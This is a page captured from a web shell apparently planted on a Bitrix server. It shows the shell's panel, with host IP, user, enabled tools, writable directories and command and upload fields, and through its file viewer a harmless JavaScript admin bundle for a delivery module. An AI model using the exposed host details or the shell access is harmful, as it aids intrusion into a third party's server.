403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/lpost/delivery/admin/dist/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/lpost/delivery/admin/dist/app.bundle.js
(function (exports) {
    'use strict';

    var UpdatePointStorage = /*#__PURE__*/function () {
      function UpdatePointStorage() {
        var _this = this;

        babelHelpers.classCallCheck(this, UpdatePointStorage);
        BX.bind(document.querySelector("input[name='update_point_list']"), "click", function (e) {
          e.preventDefault();
          e.target.classList.add("disabled", "adm-btn-load");
          BX.showWait();

          _this.deleteAllPointFromTempTable().then(function (result) {
            return _this.getPointFromApiAll();
          }).then(function (result) {
            return _this.storagePointSaveFromTempTable();
          }).then(function (result) {
            e.target.classList.remove("disabled", "adm-btn-load");
            BX.closeWait();
          });
        });
      }

      babelHelpers.createClass(UpdatePointStorage, [{
        key: "getPointFromApiAll",
        value: function () {
          var _getPointFromApiAll = babelHelpers.asyncToGenerator( /*#__PURE__*/regeneratorRuntime.mark(function _callee() {
            var offset, limit;
            return regeneratorRuntime.wrap(function _callee$(_context) {
              while (1) {
                switch (_context.prev = _context.next) {
                  case 0:
                    offset = 0;
                    limit = 10;

                  case 2:
                    _context.next = 4;
                    return this.loadPointFromApi(offset, limit);

                  case 4:
                    if (!_context.sent) {
                      _context.next = 8;
                      break;
                    }

                    offset += limit;
                    _context.next = 2;
                    break;

                  case 8:
                    return _context.abrupt("return", true);

                  case 9:
                  case "end":
                    return _context.stop();
                }
              }
            }, _callee, this);
          }));

          function getPointFromApiAll() {
            return _getPointFromApiAll.apply(this, arguments);
          }

          return getPointFromApiAll;
        }()
      }, {
        key: "deleteAllPointFromTempTable",
        value: function deleteAllPointFromTempTable() {
          return new Promise(function (resolve, reject) {
            BX.ajax.runAction("lpost:delivery.api.UpdateStoragePoint.deleteAll").then(function (e) {
              return resolve(e.data);
            });
          });
        }
      }, {
        key: "loadPointFromApi",
        value: function () {
          var _loadPointFromApi = babelHelpers.asyncToGenerator( /*#__PURE__*/regeneratorRuntime.mark(function _callee2() {
            var offset,
                limit,
                _args2 = arguments;
            return regeneratorRuntime.wrap(function _callee2$(_context2) {
              while (1) {
                switch (_context2.prev = _context2.next) {
                  case 0:
                    offset = _args2.length > 0 && _args2[0] !== undefined ? _args2[0] : 0;
                    limit = _args2.length > 1 && _args2[1] !== undefined ? _args2[1] : 10;
                    return _context2.abrupt("return", new Promise(function (resolve, reject) {
                      BX.ajax.runAction("lpost:delivery.api.UpdateStoragePoint.receiver", {
                        data: {
                          offset: offset,
                          limit: limit
                        }
                      }).then(function (e) {
                        return resolve(e.data);
                      });
                    }));

                  case 3:
                  case "end":
                    return _context2.stop();
                }
              }
            }, _callee2);
          }));

          function loadPointFromApi() {
            return _loadPointFromApi.apply(this, arguments);
          }

          return loadPointFromApi;
        }()
      }, {
        key: "storagePointSaveFromTempTable",
        value: function storagePointSaveFromTempTable() {
          return new Promise(function (resolve, reject) {
            BX.ajax.runAction("lpost:delivery.api.UpdateStoragePoint.save").then(function (e) {
              return resolve(e.data);
            });
          });
        }
      }]);
      return UpdatePointStorage;
    }();

    BX.ready(function (e) {
      new UpdatePointStorage();
    });

}((this.window = this.window || {})));
//# sourceMappingURL=app.bundle.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit